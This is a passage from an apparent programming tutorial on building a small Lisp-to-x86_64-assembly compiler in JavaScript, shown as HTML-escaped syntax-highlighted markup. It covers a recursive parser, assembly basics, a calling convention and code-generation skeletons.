&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally the left paren should recurse, add the parsed tokens to the
list of sibling tokens, and force the loop to start at the new
unparsed point.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'('&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;')'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Assuming this is all in &lt;code&gt;parser.js&lt;/code&gt;, let's try it out in the REPL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;node
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;const&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;parse&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;require&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'./parser'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
undefined
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;console.log&lt;span class="o"&gt;(&lt;/span&gt;JSON.stringify&lt;span class="o"&gt;(&lt;/span&gt;parse&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'(+ 3 (+ 1 2)'&lt;/span&gt;&lt;span class="o"&gt;)))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;[[[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;+&amp;quot;&lt;/span&gt;,3,&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;+&amp;quot;&lt;/span&gt;,1,2&lt;span class="o"&gt;]]]&lt;/span&gt;,&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Solid. We move on.&lt;/p&gt;
&lt;h3 id="assembly-101"&gt;Assembly 101&lt;/h3&gt;&lt;p&gt;Assembly is essentially the lowest-level programming language we can
use. It is a human readable, 1:1 representation of the binary
instructions the CPU can interpret. Conversion from assembly to
binary is done with an assembler; the reverse step is done with a
disassembler. We'll use &lt;code&gt;gcc&lt;/code&gt; for assembling since it deals with some
&lt;a href="http://fabiensanglard.net/macosxassembly/index.php"&gt;oddities&lt;/a&gt; of
assembly programming on macOS.&lt;/p&gt;
&lt;p&gt;The primary data structures in assembly are registers (temporary
variables stored by the CPU) and the program stack. Every function in
a program has access to the same registers, but convention cordons
off sections of the stack for each function so it ends up being a
slightly more durable store than registers. &lt;code&gt;RAX&lt;/code&gt;, &lt;code&gt;RDI&lt;/code&gt;, &lt;code&gt;RDX&lt;/code&gt;, and
&lt;code&gt;RSI&lt;/code&gt; are a few registers available to us.&lt;/p&gt;
&lt;p&gt;Now we only need to know a few instructions to compile our program
(the rest of programming assembly is convention):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MOV&lt;/code&gt;: store one register's content into another, or store a literal number into a register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ADD&lt;/code&gt;: store the sum of two register's contents in the first register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUSH&lt;/code&gt;: store a register's content on the stack&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POP&lt;/code&gt;: remove the top-most value from the stack and store in a register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CALL&lt;/code&gt;: enter a new section of the stack and start running the function&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RET&lt;/code&gt;: enter the calling functions stack and return to evaluating from the next instruction after the call&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SYSCALL&lt;/code&gt;: like &lt;code&gt;CALL&lt;/code&gt; but where the function is handled by the kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="function-calling-convention"&gt;Function calling convention&lt;/h3&gt;&lt;p&gt;Assembly instructions are flexible enough that there is no
language-defined way to make function calls. Therefore it is important
to answer (at least) the following few questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Where are parameters stored by the caller so that the callee has access to them?&lt;/li&gt;
&lt;li&gt;Where is the return value stored by the callee so the caller has access to it?&lt;/li&gt;
&lt;li&gt;What registers are saved by whom?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Without getting too far into the specifics, we'll assume the following
answers for development on x86_64 macOS and Linux systems:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parameters are stored (in order) in the &lt;code&gt;RDI&lt;/code&gt;, &lt;code&gt;RSI&lt;/code&gt;, and &lt;code&gt;RDX&lt;/code&gt; registers&lt;ul&gt;
&lt;li&gt;We won't support passing more than three arguments&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The return value is stored in the &lt;code&gt;RAX&lt;/code&gt; register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RDI&lt;/code&gt;, &lt;code&gt;RSI&lt;/code&gt;, and &lt;code&gt;RDX&lt;/code&gt; registers are stored by the caller&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="code-generation"&gt;Code generation&lt;/h3&gt;&lt;p&gt;With assembly basics and the function call convention in mind, we've
got enough to generate code from the parsed program's AST.&lt;/p&gt;
&lt;p&gt;The skeleton of our compile code will look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;depth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;indent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;depth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'  '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;indent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// If arg AST is a list, call compile_call on it&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Else must be a literal number, store in destination register&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile_call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Save param registers to the stack&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Compile arguments and store in param registers&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Call function&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Restore param registers from the stack&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Move result into destination if provided&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit_prefix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Assembly prefix&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit_postfix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Assembly postfix&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;compile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit_prefix&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;compile_call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit_postfix&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;From our pseudo-code in comments it is simple enough to fill in.
Let's fill in everything but the prefix and postfix code.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// If arg AST is a list, call compile_call on it&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;compile_call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Else must be a literal number, store in destination register&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`MOV &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;, &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BUILTIN_FUNCTIONS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'+'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'plus'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
